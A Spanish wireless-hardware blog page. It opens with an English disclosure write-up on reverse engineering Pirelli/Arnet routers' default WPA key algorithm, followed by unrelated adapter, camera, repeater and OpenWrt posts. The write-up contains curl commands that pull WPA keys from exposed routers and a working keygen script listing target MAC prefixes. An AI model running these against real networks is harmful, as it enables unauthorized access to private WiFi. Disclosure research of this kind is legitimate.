Archivo de la categoría: Hardware

Componentes y materiales para auditorias wireless

Default WPA key generation algorithm for Pirelli routers in Argentina

Introduction

arnetrouter
Sticker with default settings

A couple of years ago whether I do not remember badly, I was doing reverse engineering in some Spanish routers deployed by Pirelli as well. After I extracted the firmware and found out a suspicious library with many references to key generation’s functions everything was over. Unfortunately, I could not recover the algorithm itself. Principally, because those routers were not using the same algorithm for generating default keys and simply because such algorithm was not explicitly there. Shit happens! However, as I could not reveal the algorithm then decided to try another way to recover keys. Eventually, I realised that these routers were vulnerable to unauthorized and unauthenticated remote access and any adversary could fetch HTML code from our public IP address. Plenty of HTMLs were able to be downloaded without any restriction, meaning a huge leakage. Being vulnerable to a bunch of evil attacks. This remote information disclosure can be seen on this CVE-2015-0554. On the other side, I do not know whether Argentinian routers are also vulnerable to this vulnerability. Feel free to try it out and let me know too. Just to see how easy was to achieve those keys in the HomeStation(essids-like WLAN_XXXX) in Spain, a simple curl command was enough:

$ curl -s http://${IP_ADDRESS}/wlsecurity.html | grep -i "WLAN_"
                  <option value='0'>WLAN_DEAD</option>
 
$ curl -s http://${IP_ADDRESS}/wlsecurity.html | grep -i "var wpapskkey"
var wpaPskKey = 'IsAklFHhFFui1sr9ZMqD';
 
$ curl -s http://${IP_ADDRESS}/wlsecurity.html | grep -i "var WscDevPin"
var WscDevPin    = '12820078';
 

Today I am gonna explain how I reverse engineered a MIPS library in order to recover the default WPA key generation algorithm for some Argentinian routers deployed by Pirelli. Concretely the router affected is the model P.DG-A4001N. First of all, I am neither Argentinian nor live there. Nevertheless, accidentally I observed some stickers from Pirelli routers in a random forum and as an user had already publicly published the firmware for those routers then I decided to give a try. As I still remembered the file where I dug into for the Spanish routers, I rapidly tried to recover the algorithm in these routers. Next writing is the way I followed until to achieve it.

Reverse-engineering the default key generation algorithm

In this section, we are going to reverse engineer a MIPS library, /lib/private/libcms.core, found out in the firmware itself. First of all, let us comment that the firmware was extracted for another user (fernando3k) and subsequently extracted by using Binwalk and firmware-mod-kit. Once was mounted into our system, we found out a function called generatekey. As you have seen, symbols have not been removed in binaries and external function names are still there because dynamic compilation. This help us a lot in our reverse engineering task. On top of that, we rapidly saw how this function was calling to another one called generatekey_from_mac. At this moment, I decided to give a go to this challenge. Before get started, IDA Pro can help us with the cross references (Xrefs to-from in IDA Pro) between functions. Let’s see how functions are called in the library. (Zoom pictures in to see properly)

Call flow from generateKey
Call flow from generateKey

Really looking great! Now let’s look at the cross references. We have figured out some tips:

  1. generatekey calls generatekey_from_mac. This allow us to suppose that the mac address is involved in the key generation algorithm. Besides, getPBSHwaddr returns a mac address and it is also called by generatekey. Verification was carried out after checking how getPBSHwaddr returned the value of /var/hwaddr ( “ifconfig %s > /var/hwaddr “)
  2. SHA256 cryptographic hash function is also involved. We then know that our key is coming from a well-known hash function. This way to generate WPA keys is very popular in some vendors because the feeling of “randomness”. Digging into this function will give us the main structure of our algorithm.
  3. The function createWPAPassphraseFromKey is called by wlWriteMdmDefault ,which also calls to generatekey as well. Hence, we discover a function called bintoascii which is basically responsible to convert binary to ascii data.
  4. The SSID is also created from the mac address although it is not relevant for our task.

 

Call flow for createWPAPassphraseFromKey
Call flow for createWPAPassphraseFromKey

Now we must dissect the generatekey_from_mac function and its SHA256 callings to figure out how many parameters are being sent as input data. Before calling generatekey, a string “1236790” is sent to this function as first argument ($a3). Nonetheless, we have to guess which is the right order for the SHA256 function, I mean how many updates there are. If we observe the below picture, we will see this step.

createWPApassphrasefromkey
Dissasembly of wlWriteMdmDefault

From generateKey_from_mac we realise that: (Look at below image)

  1. First argument is located at offset 0x000d29e0
  2. Second argument is the string we discovered previously (“1236790”)
  3. Third argument it has to be the mac address because there is an instruction load immediate with the value 6. Since a mac address is 6 bytes, we can try it out now.
sha256_seed
Dissasembly of generateKey_from_mac

As we know that the first argument is located at the offset 0xd29e0, just a jump there and let’s reveal the secret seed used in the SHA256. Now we have guessed the first argument, and we can prepare those 32 bytes into a byte-array structure to generate the SHA256 hash later on. This secret seed has been used by Pirelli too in other countries like Italy or Austria (Look at the references on the source code for more info). Furthermore, below that we can also distinguish the charset finally used to generate keys with.

seed
Secret data found out in the library.

In the end, we conclude that the algorithm is as follows: (mac address needs to be incremented by 1)

SHA256(secret_seed+”1236790″+mac_address)

More details on how keys are eventually generated in this python function:

def genkey(mac):
    seed = ('\x64\xC6\xDD\xE3\xE5\x79\xB6\xD9\x86\x96\x8D\x34\x45\xD2\x3B\x15' +
            '\xCA\xAF\x12\x84\x02\xAC\x56\x00\x05\xCE\x20\x75\x91\x3F\xDC\xE8')
 
    lookup  = '0123456789abcdefghijklmnopqrstuvwxyz'
   
    sha256 = hashlib.sha256()
    sha256.update(seed)
    sha256.update('1236790')
    sha256.update(mac)
 
    digest = bytearray(sha256.digest())
       
    return ''.join([lookup[x % len(lookup)] for x in digest[0:10]])

Problems

Since I attempted to do a responsible disclosure and neither ADB Pirelli nor Arnet Argentina were interested to discuss the problem, I have finally decided to do full disclosure to speed up the process of fixing. It looks like the only way with some vendors, just enforce them to replace routers for avoiding intrusions. Many things can happen whether your router with SSID Wifi-Arnet-XXXX has the default password. For your information, default passwords are located in a sticker at the bottom of routers. If you are owner of these networks, please change your password as soon as possible. You should always change the default passwords, though. An adversary, within of the wifi range, could access to your network and commit any sort of fraud. Be safe and change the passwords right now!

Timeline

2014-09-11 Found the algorithm 2014-09-12 Send a message to @ArnetOnline via Twitter @enovella_ 2014-09-15 Send a message via website, still looking for a simple mail 2014-09-16 Send another message to Arnet via website.First reply via twitter where they redirect me to the website form. 2014-09-19 Direct message via twitter. I talk with them about the critical vulnerability and offer them an email with PGP key 2014-09-20 More twitter PM about the same. They do not want to be aware about the problem though. 2014-09-23 I assume that Arnet does not care about its clients’ security at all regarding its little interest. 2014-09-24 I send the problem to the vendor ADB Pirelli via website form 2014-09-28 I send the problem to the vendor ADB Pirelli via email to Switzerland 2015-01-05 Full disclosure

Proof-of-concept

This proof-of-concept and many Pirelli default key generation algorithms might be found at my Bitbucket repository. I hope you can use them. Also a copy&paste of the first version can be looked at below. To be installed just make sure you got git installed on your system and then run:

$ git clone https://dudux@bitbucket.org/dudux/adbpirelli.git
$ python wifiarnet.py
 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
 
'''
@license: GPLv3
@author : Eduardo Novella
@contact: ednolo[a]inf.upv.es
@twitter: @enovella_
 
-----------------
[*] Target      :
-----------------
Vendor           : ADB broadband Pirelli
Router           : Model P.DG-A4001N
ISP              : Arnet Telecom Argentina
Possible-targets : http://hwaddress.com/?q=ADB%20Broadband%20Italia
Firmware         : http://foro.seguridadwireless.net/puntos-de-acceso-routers-switchs-y-bridges/obtener-firmware-adb-p-dg-a4001n-%28arnet-telecom-argentina%29/  
 
-----------------
[*] References  :
-----------------
[0] [AUSTRIA] A1/Telekom Austria PRG EAV4202N Default WPA Key Algorithm Weakness    http://sviehb.wordpress.com/2011/12/04/prg-eav4202n-default-wpa-key-algorithm/
[1] [ITALY]   Alice AGPF: The algorithm!                                            http://wifiresearchers.wordpress.com/2010/06/02/alice-agpf-lalgoritmo/
 
-----------------
[*] Test vectors :
-----------------
http://www.arg-wireless.com.ar/index.php?topic=1006.msg6551#msg6551
 
-----------------------
[*] Acknowledgements  :
-----------------------
Thanks to fernando3k for giving me the firmware in order to do reverse-engineering on it, and christian32 for showing me a bunch of test vectors.
 
-----------------
[*] Timeline    :
-----------------
2014-09-11  Found the algorithm
2014-09-12  Send a message to @ArnetOnline via Twitter @enovella_
2014-09-15  Send a message via website, still looking for a simple mail (http://www.telecom.com.ar/hogares/contacto_tecnico.html)
2014-09-16  Send another message to Arnet via website. First reply via twitter where they redirect me to the website form.
2014-09-19  Direct message via twitter. I talk with them about the critical vulnerability and offer them an email with PGP key
2014-09-20  More twitter PM about the same. They do not want to be aware about the problem though.
2014-09-23  I assume that Arnet does not care about its clients' security at all regarding its little interest.
2014-09-24  I send the problem to the vendor ADB Pirelli via website form
2014-09-28  I send the problem to the vendor ADB Pirelli via email to Switzerland
2015-01-05  Full disclosure
 
-----------------
[*] TODO        :
-----------------
1.- Reverse-engineering the function generateSSIDfromTheMac. It is not relevant though.
2.- Extract more firmwares from others vendors and send them to me.
 
'''
 
import re
import sys
import hashlib
import argparse
 
VERSION     = 1
SUBVERSION  = 0
DATEVERSION = '2014-09-11'
URL         = 'http://www.ednolo.alumnos.upv.es'
 
def genkey(mac,stdout='True'):
    seed = ('\x64\xC6\xDD\xE3\xE5\x79\xB6\xD9\x86\x96\x8D\x34\x45\xD2\x3B\x15' +
            '\xCA\xAF\x12\x84\x02\xAC\x56\x00\x05\xCE\x20\x75\x91\x3F\xDC\xE8')
 
    lookup  = '0123456789abcdefghijklmnopqrstuvwxyz'
   
    sha256 = hashlib.sha256()
    sha256.update(seed)
    sha256.update('1236790')
    sha256.update(mac)
 
    digest = bytearray(sha256.digest())
 
    if (stdout):
        print "[+] SHA256  : %s" % sha256.hexdigest()
       
    return ''.join([lookup[x % len(lookup)] for x in digest[0:10]])
 
 
def printTargets():
        print "[+] Possible vulnerable targets so far:"
        for t in targets:
            print ("\t bssid: {0:s}:XX:XX:XX \t essid: Wifi-Arnet-XXXX".format(t.upper()))
 
        sys.exit()
 
def checkTargets(bssid):
        supported = False
        for t in targets:
            if ( bssid.upper().startswith(t) ):
                supported = True
                break
        if (not supported):
            print "[!] Your bssid looks like not supported! Generating anyway."
       
def main():
   
    global targets
    version     = " {0:d}.{1:d}  [{2:s}] ----> {3:s}".format(VERSION,SUBVERSION,DATEVERSION,URL)
    targets = ['00:08:27','00:13:C8','00:17:C2','00:19:3E','00:1C:A2','00:1D:8B','00:22:33','00:8C:54',
    '30:39:F2','74:88:8B','84:26:15','A4:52:6F','A4:5D:A1','D0:D4:12','D4:D1:84','DC:0B:1A','F0:84:2F']
   
    parser = argparse.ArgumentParser(description='''>>> PoC WPA keygen for WiFi Networks deployed by Arnet in Argentina. So far
                                                 only WiFi networks with essid like Wifi-Arnet-XXXX and manufactured by Pirelli are
                                                 likely vulnerable. See http://ednolo.alumnos.upv.es/ for more details.
                                                 Twitter: @enovella_  and   email: ednolo[at]inf.upv.es''',
                                                 epilog='''(+) Help: python %s -b 74:88:8B:AD:C0:DE ''' %(sys.argv[0])
                                    )
   
    maingroup = parser.add_argument_group(title='required')
    maingroup.add_argument('-b','--bssid', type=str, nargs='?', help='Target mac address')
    parser.add_argument('-v', '--version', action='version', version='%(prog)s'+version)
    command_group = parser.add_mutually_exclusive_group()
    command_group.add_argument('-l','--list', help='List all vulnerable targets (essid Wifi-Arnet-XXXX)', action='store_true')
   
    args = parser.parse_args()
 
    if args.list:
        printTargets()
    elif args.bssid:
        mac_str = re.sub(r'[^a-fA-F0-9]', '', args.bssid)
        if len(mac_str) != 12:
            sys.exit('[!] Check MAC format!\n')
 
        try:
            mac = bytearray.fromhex('%012x' %(int(mac_str,16) +1))
        except:
            sys.exit('[!] Use real input :)')
 
        checkTargets(args.bssid)
        print '[+] SSID    : Wifi-Arnet-XXXX'
        print '[+] MAC     : %s' % args.bssid
        print '[+] WPA key : %s' % (genkey(mac,False))
    else:
        parser.print_help()
 
if __name__ == "__main__":
    main()

00:30

Test de potencia de salida Alfa awus036H

La alfa 1 vatio es gracias a su software , de esos raros dispositivos que se les puede adaptar la potencia según conveniencia , moviendo la barra de configuración del tx power entre el 0% y el 100% del potencia de salida del adaptador. Este es el resultado al 0% de potencia en el parámetro del tx power.

100% de potencia en el parámetro tx power

Excepcionalmente la hemos visto alcanzar los 29 dbm en alguna medición unos segundos , así que si sumamos el margen de tolerancia que pueda tener el medidor swr/tx power podemos decir que la alfa 1V puede llegar a alcanzar el vatio de potencia , aun que realmente trabaja a 28 dbm al 100%
de potencia en el rendimiento habitual del adaptador.

Fuente: Test de potencia en milivatios/dbm de adaptadores usb wifi by Torpedo

[Tutorial] Whatsapp desde OpenWrt

Autor: raphik

Hace unos días leí por primera vez acerca de Yowsup. Yowsup es una librería escrita en Python por el egipcio Tarek Galal. Esta librería permite iniciar sesión y utilizar el servicio de Whatsapp, poniendo a disposición del programador todas las capacidades de un cliente oficial de Whatsapp. Afortunadamente para los no programadores, Yowsup se distribuye con yowsup-cli, una aplicación que permite conectarse y utilizar el servicio Whatsapp directamente desde la línea de comandos.

Python es un lenguaje interpretado de programación de código abierto creado por el holandés Guido van Rossum.

Dicho esto, nos ponemos manos a la obra.

INSTALACIÓN DE PYTHON, PYTHON-OPENSSL Y DEL MÓDULO DATEUTIL.

1. Instalar Python con soporte para acceso seguro a sitios HTTPS. Desde un terminal de OpenWrt,

Code:
opkg update
opkg install python python-openssl

2. Instalar el módulo dateutil.
2.1. Primero hay que descargar en el PC el fichero python-dateutil-1.0.tar.bz2 de la página http://labix.org/python-dateutil. Es posible que funcione con otras versiones posteriores, pero ésta es la que yo he probado y va bien.
2.2 Descomprimir el fichero en el PC.
2.3 Copiar la carpeta descomprimida “python-dateutil-1.0” en el router.
2.4. Desde un terminal de OpenWrt, situarse en la carpeta python-dateutil-1.0 del router y ejecutar

Code:
python setup.py install



INSTALACIÓN DE YOWSUP.

1. Descargar en el PC el fichero comprimido yowsup-master.zip de la página https://github.com/tgalal/yowsup (botón Download ZIP).

2. Descomprimir el fichero en el PC.

3. Copiar la carpeta descomprimida “yowsup-master” en el router.


CONFIGURACIÓN.

1. Situarse en la carpeta del router yowsup-master/src

2. Editar el fichero config.example y dejarlo así (sustituye “miteléfono” por tu número de móvil)

Code:
cc= 34
phone= 34miteléfono
id=
password=


3. Teclear el comando 

Code:
python yowsup-cli -c config.example –requestcode sms

En unos segundos llega al móvil un SMS con un código con formato XXX-XXX. Si prefieres recibir un mensaje de voz, teclea
python yowsup-cli -c config.example –requestcode voice.

4. Teclear el comando (sustituir XXX-XXX por el código recién recibido)

Code:
python yowsup-cli -c config.example –register XXX-XXX

Whatsapp genera y envía al router una contraseña (línea pw:). Copiarlo manualmente en el fichero config.example

Code:
cc= 34
phone= 34miteléfono
id=
password= contraseña



ENVÍO DE MENSAJES WHATSAPP.

Para enviar un mensaje al teléfono 34123456789 (sustituir por un número real con el prefijo del país)

Code:
python yowsup-cli -c config.example -s 34123456789 “Mensaje de prueba”



SESIÓN INTERACTIVA.
Para iniciar una conversación interactiva con el teléfono 34123456789, teclear

Code:
python yowsup-cli -c config.example -i 34123456789


PARA TERMINAR.
Añadir que, según su autor, Yowsup pone al alcance del programador Python todas las características de Whatsapp:
• Registro
• Envío y recepción de mensajes de texto
• Envío y recepción multimedia (imágenes, vídeos, audio, localización, tarjetas de visita)
• Grupos (crear, abandonar, unirse, actualizar foto, actualizar asunto)
• Visualizar fotos y estados de otros usuarios
• Establecer la foto y el estado de tu perfil
• Cambiar el icono del grupo
• Y algunas cosillas más…
Documentación de la librería (en inglés) aquí.

Camara ip Approx APPIP01P2P

Camara ip Approx APPIP01P2P





Las cámaras ip son un articulo muy necesario hoy en día en lo que concierne a la seguridad y la vigilancia de lugares o personas donde se requiera un control u observación de los mismos.Hoy en día disponemos de modelos a precios asequibles que cumplen sobradamente con cualquier expectativa según la necesidad o situación del entorno en el que queramos tener imágenes y sonido , pudiendo visualizar , escuchar y grabar imágenes desde cualquier lugar del mundo en nuestro pc o smartphone . 

Por medio de sofware  o aplicaciones podremos configurar a nuestro gusto cualquier parámetro del dispositivo desde cualquier lugar , así como configurar grabaciones programadas o permanentes , avisos sonoros y alarmas.Podremos también escuchar sonidos o conversaciones por medio de su micrófono incorporado , ademas de poder hablar o reproducir sonidos si lo consideramos oportuno.     

En esta ocasión vamos a probar un producto de gran utilidad para realizar funciones de vídeo vigilancia  en domicilios u oficinas , accesos a interiores de estancias y edificios , etc.

La cámara ip Approx APPIP01P2P cumple con cada una de las expectativas citadas con anterioridad , siendo un dispositivo preferentemente recomendable para interiores , como pueden ser edificios, oficinas o viviendas , o cualquier estancia que tengamos necesidad de visualizar remotamente.

Este dispositivo puede ser conectado mediante cable de red o a través de wifi , pudiendo utilizarlos en grupos de varias cámaras las cuales pueden ser configuradas y controladas desde el mismo software de la cámara ip Approx. 

Especificaciones técnicas

  • Detección de movimiento, visión nocturna y grabación de video
  • Lente de 3,6mm. Sensor CMOS 1/4” de alta sensibilidad
  • Rotación hasta 350º e inclinación hasta 120º IRCUT
  • Compresión de video MJPEG optimizado para la transmisión
  • Admite la gestión de múltiples usuarios y definición de contraseñas
  • Servidor Web integrado para monitorización en Internet Explorer
  • Redes inalámbricas Wi-Fi 802.11/b/g (DNS gratuita)
  • Alerta en caso de detección de movimiento
  • Captura de imágenes
  • Múltiples protocolos de red: HTTP/ TCP/ IP/ UDP/ SMTP/DDNS/ SNTP/ DHCP/ FTP
  • Software Pc gratuito incluido
  • APK Android Approxcam descargable desde google PlayStore
  • Aplicación Iphone ApproxCam descargable desde Itunes




Imágenes y caracteristicas externas de la cámara


En la siguiente imagen podemos ver el contenido de de la caja en la que encontramos , ademas de la camará , el cd de instalación de la aplicación para el pc , el cable de red  , el adaptador de corriente , antena omnidireccional , soporte de fijación para paredes o techos.



El conector externo permite intercambiar antenas de mas ganancia en el caso que sea necesario. 


En la base del producto encontramos la descripción del mismo y la contraseña. También el código Qr que debemos escanear posteriormente para poder utilizar las aplicaciones para dispositivos android o apple 



Podremos situar la cámara ip en cualquier techo o pared gracias a su soporte articulado fijándola en el lugar que mas nos convenga. 


Su sensor IR-Cut es de altas prestaciones y elevada estabilidad, permitiendo obtener imágenes diurnas con mayor detalle y color. Para situaciones con baja luminosidad o en un entorno completamente oscuro, sus 10 leds infrarrojos se conectan automáticamente para ofrecer una nítida imagen en monocromo del área vigilada. 



Instalacion del software para pc y aplicación para iphone y android

Como una imagen vale mas que mil palabras y no aburriros con infinidad de capturas de pantalla, creemos mas oportuno poner el video explicativo que tiene publicado en youtube la marca Approx.




Configuración para utilizar la cámara vía wireless



Si el lugar donde queremos situar la cámara ip Approx se encuentra alejado del router , podremos resolverlo conectando mediante wifi a nuestro punto de acceso, siempre que nos encontremos en un lugar donde nos llegue con suficiencia la señal wifi del ap al que estamos conectados.Procederemos a conectar el dispositivo a la toma de corriente
donde queramos situarla.

La primera vez que configuremos la conexión mediante wifi debe de estar conectada la cámara IP Approx al router mediante cable de red. Después de seguir los sencillos pasos que os mostramos a continuación y esperar un minuto hasta que la cámara se re-configure (esperaremos hasta que la cámara ip deje de girar en horizontal y vertical), ya podremos desconectar el cable de red para proceder a conectar el dispositivo en el lugar elegido convenientemente.

Es muy importante por motivos de seguridad cambiar la contraseña que trae por defecto el dispositivo , si no queremos que un periférico como este, pensado para utilizarlo para la seguridad de nuestros bienes y personas se pueda convertir en todo lo contrario.   


Conectados mediante wifi por medio de la aplicación para pc incluida en el cd de instalación (cámara ip super cliente)





imagen de motorización via wifi




Detalles de configuración de conexión mediante wifi en la aplicacion ApproxCam disponible en googleplay



Motorización desde un smartpone.Como podemos ver en la captura también podemos configurar desde el teléfono cualquier parámetro de la cámara ip.Pasando el dedo sobre la imagen que estamos visualizando , la cámara Approx ip se moverá hacia el lugar que deseemos, a izquierda o derecha , arriba o abajo. 



Grabaciones y alarmas

Entre las opciones del sofware de la cámara ip Approx ( Cámara ip super cliente) y las aplicaciones para android o apple (Approx cam) podemos configurar muchos parámetros de grabación de vídeo y alarmas sonoras.

La cámara cuenta con un sensor de movimiento que una vez activado y efectuada la configuración pertinente de los parámetros necesarios , emitirá un sonido alarmante en nuestro ordenador o smartphone , pudiendo configurar la captura o grabación de imágenes a partir del instante en el que el dispositivo detecte cualquier actividad en su campo visual.Cuando la cámara ip detecte movimiento efectuará una rafaga de captura de imágenes en cantidad y tiempo que hayamos configurado , estas instantáneas quedarán guardadas en el directorio o carpeta “alarmas” , con la fecha y la hora exacta en que se toman las capturas al detectar alguna actividad el sensor de movimiento. 

Tendremos opción de configurar también ademas del día,  la hora de inicio y finalización activación de la alarma , así como el tiempo de emisión de la misma. También podremos elegir el archivo sonoro que mas nos convenga, eligiendo entre los los varios que trae el software por defecto o cualquier música que nos guste que tengamos en nuestro pc o teléfono móvil.



Del mismo modo que hemos configurado los parámetros de alarma y sonido, procederemos con la grabación de imágenes o vídeos , pudiendo establecer una grabación continua o seleccionar la grabación programada seleccionando el día o la hora en la que mas nos interese guardar las imágenes.




En la pestaña de configuración de la cámara dedicada a la configuración de vídeo ,también podremos ajustar la resolución de la imagen (Qvga o Vga ) entre otros ajustes , como el modo (50 o 60 hz) , la velocidad de cuadros o el bitrate (kbps).




Hemos creído referirnos únicamente al software de la cámara ip super cliente para máquinas con windows , por no alargarnos demasiado en algo tan sencillo.

En la aplicación de ApproxCam para smartphones también se pueden configurar alarmas y grabaciones , estas últimas demandan una micro sd de gran capacidad.Su configuración es aun mas sencilla , aun que pensamos que solo debe utilizarse de forma puntual en casos concretos para motorizar la imagen del lugar que queremos visualizar , ya que consume mucha energia y recursos del teléfono. La conexión mediante wifi se hace obligatoria si no queremos consumir en poco tiempo nuestra tarifa de datos.

Tenemos también una tercera opción de motorización de imágenes y configuración de los ajustes de la cámara accediendo a su firmware interno , para ello utilizaremos la aplicación que trae la cámara ip en el cd de instalación . Desde el mismo podremos por ejemplo configurar el envío de correos electrónicos cuando el sensor  de la cámara detecte algún movimiento , explicamos los pasos para ello seguidamente.


 Configuración de envío de correos electrónicos al utilizar el sensor de movimiento  


Para recibir avisos y fotografías mediante correo electrónico de alertas de actividad o movimiento del lugar que la cámara esta motorizando deberemos entrar en el firmware del dispositivo para poder configurar así los parámetros pertinentes.

Procederemos a descargar el software pertinente para tal fin en la pagina del producto. En el apartado de descargas seleccionaremos el archivo “buscador de cámara ip”, en nuestro caso para el sistema operativo de este pc , windows.

Una vez descargado el sowtware lo abrimos dando los permisos pertinentes al firewall y al antivirus , nos aparecerá una primera ventana con los datos de nuestra conexión .En el apartado “equipos” hacemos doble clic en nuestra dirección ip.



Después procederemos a descargar el archivo de registro que deseemos, bien sea para navegadores o bien para dispositivos ios o android.Una vez ejecutado podremos entrar en el firmware de la cámara ip Approx APPIP01P2P para pode configurar el envío de correos electrónicos cuando el dispositivo detecte movimiento mediante su sensor.




Podremos ver ya la pantalla de motorización y sus controles , seleccionamos en la parte inferior derecha el icono de herramientas llamado “configuración de periférico”.




En el apartado “configuración de alarma” , marcamos los parámetros pertinentes , tal cual podemos ver en la captura siguiente.





El siguiente paso sería entrar el el apartado “configuración de correo” para introducir los datos relacionados con la cuenta de correo en la que queremos recibir los avisos y las imágenes cuando la cámara detecte actividad.



Para comprobar que introdujimos correctamente todos los datos hacemos clic en “enviar” para guardar los cambios y después pulsamos en el botón “prueba” para saber si esta todo correcto.




Un vez que el sensor de movimiento detecte actividad en el campo visual del dispositivo recibiremos un mensaje de correo electrónico con imágenes , fecha, hora y minutos en las que se produjo la detección.





  
Apuntes finales , vídeo y enlaces de interes


La cámara ip Approx APPIP01P2P que hemos probado en seguridadwireless.net ofrece unas prestaciones mas que aceptables para el uso en interiores para cualquier entorno que se quiera visualizar , ya sea en viviendas o edificios , oficinas, etc.

 La calidad de la las imágenes tanto con luz natural como artificial , así como el color y la nitidez de las mismas es notable.En situación de absoluta oscuridad también cumple suficientemente gracias a sus leds infrarrojos .También cuenta con zoom para podernos acercar mas la imagen y así poder apreciar detalles de las mismas si lo creemos oportuno.

La configuración de parámetros para realizar grabaciones y avisos sonoros , así como el sensor de movimientos se realiza de forma sencilla.
Podemos disponer de gran cantidad de opciones de configuración que se adecuen a nuestras exigencias mediante el software y las aplicaciones para teléfonos inteligentes, pudiendo efectuar con ellos los ajustes pertinentes allá donde estemos.

Gracias a su tecnología PNP la configuración de la cámara no necesita de conocimientos avanzados para ser configurada dentro de tu red local o ser visualizada desde Internet como las cámaras de la competencia. No tendrá que realizar configuraciones avanzadas ni de ningún tipo en su router.

Su configuración se resume en tres pasos, conectarla en su red local, introducir el ID de la cámara y finalmente su contraseña.

Es posible escuchar qué está pasando de forma remota utilizando el micrófono integrado. Además con su altavoz interno puede dirigirse a las personas que se encuentren cerca de la cámara. Todo ello proporciona una mayor flexibilidad a la hora de comunicarse remotamente con la ubicación que se está monitorizando.

Su tarjeta inalámbrica interna lleva como motor uno de los mejores chipset del mercado, Ralink RT5350F, el cuál ofrece estabilidad y seguridad en la conexión.Podremos conectar el dispositivo via wifi en en lugar deseado, solo necesitamos una toma de corriente eléctrica y efectuar la conexión wireless a nuestro router

Tarjeta inalámbrica con chipset Ralink RT5350F


Finalizamos con un vídeo realizado de noche con luz artificial primero y después en la oscuridad. Es una pena que al subir el vídeo a youtube no se aprecie la calidad de la grabación original , pero al menos sirve para hacernos una idea de la motorización en tiempo real del lugar elegido.





Eso es todo , solo agradeceros una vez mas vuestra atención , la verdad es que nos a gustado mucho el rendimiento y la utilidad de la Camara ip Approx APPIP01P2P , un producto que nos parece muy práctico en el ambito de la seguridad doméstica , de calidad óptima y con gran cantidad de recursos y soluciones,  así como la calidad del mismo a un precio asumible para cualquier bolsillo.Probado y aprobado.

http://approx.es/Communications/C%C3%A1maras-IP/APPIP01P2P#.U0wNSVV_tdR

http://approx.es/Communications/C%C3%A1maras-IP/APPIP01P2P#.U0w06FV_tdS

ORION

seguridadwireless.net

 

REPETIDOR 3 G WIFISKY

Áutor: O R I Ó N

Todos sabemos que la cobertura en la señal de telefonía móvil varía por diferentes causas , una de ellas puede ser que la señal 3 G que recibimos en diferentes situaciones o lugares no nos llegue con suficiencia para establecer una comunicación telefónica y de datos de forma óptima.

Esta serie de problemas se pueden paliar en parte con la ayuda de un repetidor de señal 3 G , vamos a probar que tal funciona uno de estos dispositivos de la marca WIFISKY.

Realizamos dos pruebas buscando entornos en los que la señal de telefonía movil 3 G , la primera en un sótano de un edificio para simular problemas de cobertura en espacios parecidos como garajes subterráneos o edificios en los que las estancias quedan por debajo del nivel del suelo haciendo deficiente la comunicación con nuestros teléfonos móviles.Una segunda prueba la llevaremos a cabo en una pequeña urbanización alejada de la ciudad donde las antenas repetidoras quedan bastante lejos , lo que repercute en la calidad de señal que llega a nuestros dispositivos.

Amplificador de señal , antena interior (blanca) y exterior (negra) , cable de 10 metros 

PRUEBA EN UN SÓTANO

Agregamos primeramente unas fotos para poder mostrar cómo hemos preparado esta prueba  , el lugar elegido está situado a varios metros por debajo de la superficie para realizar las mediciones y poder apreciar diferencias con el uso del amplificador en este tipo de lugares que por su situación las señales de telefonía llegan debilitadas.


La base imantada de la antena permite colocar la antena exterior en cualquier superficie metálica


Se busca la mejor ubicacion para la antena exterior para una optima recepción de la señal


El cable de la antena exterior (10 metros) , hay que situarlo lo mas alto y vertical posible para que las dos antenas esten a la maxima diferencia en altura una de otra para no provocar interferencia entre las dos , el piloto en rojo del repetidor indicará que las antenas no estan bien situadas y el verde significa que se ha respetado la distancia y la altura entre las dos


El piloto verde nor indica que ambas antenas estan situadas de forma correcta. Si no fuese así, el led parpadeará entre el color rojo y amarillo , procederemos entonces a ubicar la antena exterior hasta que el color verde del led nos indique que esta situada en el lugar idóneo.

RESULTADOS

Realizamos tres tipos de mediciones , la primera de señal , y la otras siguientes de rendimiento.

Nivel de serñal sin repetidor 3G

Nivel de señal con repetidor 3G wifisky

La diferencia es apreciable , pasamos de un 10 % de calida de señal sin el repetidor a un 42% con el repetidor wifisky 3G

Rendimiento con Open signal

Sin repetidor

Con repetidor 3G  

Sin repetidor 3G : Latencia 168 milisegundos , 4,2 mbps descarga , 380 kbps de subida
Con repetidor 3G : Latencia 116 ms , 10,9 mbps y 670 kbps de subida

Cobertura para voz y datos sin repetidor

Cobertura para voz y datos con repetidor 3G wifisky

El repetidor 3 G mejora la calidad de la señal tanto para voz como para datos.

PRUEBA EN ENTORNO RURAL CON POCA COBERTURA

Algunas urbanizaciones alejadas de ciudades donde las antenas repetidoras se situan lejos pueden ser un buen punto de prueba de este dispositivo , insertamos un par de fotos sobre la preparación de la prueba para no extendernos demasiado.

Nivel de señal con network Signal

Sin repetidor 3 G

Con repetidor 3G

NOTA: estas dos capturas idican el nivel de señal entre dos operadores de telefonía móvil diferentes  (orange y yoigo) , realmente la mejora ha sido la misma que con las pruebas al operador yoigo en cuanto a medición de la señal 3G.

Rendimiento en Open signal

Con repetidor 3G wifisky

Sin  repetidor 3G

Sin repetidor 3 G : latencia 195 milisegundos, 1,5 mbps de descarga y 608 kbps de subida
Con repetidor 3 G wifisky: 166 milisegundos de latencia , 1,5 mbps y 1,4 mbps de subida

Cobertura para voz y datos con repetidor 3 G wifisky

Cobertura para voz y datos sin repetidor 3 G

Finalizamos diciendo que este repetidor 3G  wifisky ha mejorado el nivel de señal y el rendimiento en ambas pruebas , se hace recomendable situarse cerca dispositivo para obtener el mejor resultado posible en cuanto a la mejora y calidad de la señal.

Página web del repetidor 3G Wfisky

O R I Ó N & Seguridad Wireless.net

Un saludo

Amplificador wifi / wifisky 2000 mw

Áutor: O R I Ó N

En esta ocasión vamos a probar este amplificador de la marca wifisky de 2000 mw teóricos de potencia.

En el contenido de la caja encontramos el amplificador , el alimentador de corriente , un cable pigtail de 20 ctms RG 316 SMA/RPSMA , además de una antena omnidireccional de 6 dbi.

Vemos en imágenes el contenido del producto y una foto del interior del amplificador y su placa con sus componentes electrónicos.

El amplificador no necesita de ningún software adicional para poder funcionar , simplemente se conecta al dispositivo que queramos amplificar para que comience a funcionar . Hay que conectar primeramente todas las conexiones para por último enchufar el dispositivo a la toma de corriente siempre por este orden , de no proceder de este modo el amplificador podría verse dañado irremediablemente.

Este amplificador trabaja en modo bidireccional (half-duplex) , puede recibir una energía de entrada de hasta 26 dbm . Tiene una ganancia de recepción teórica de 12 dbm , su ganancia de transmisión es de 14-17 db
y su potencia de salida es de 33 dbm.Ruido 3.5 db

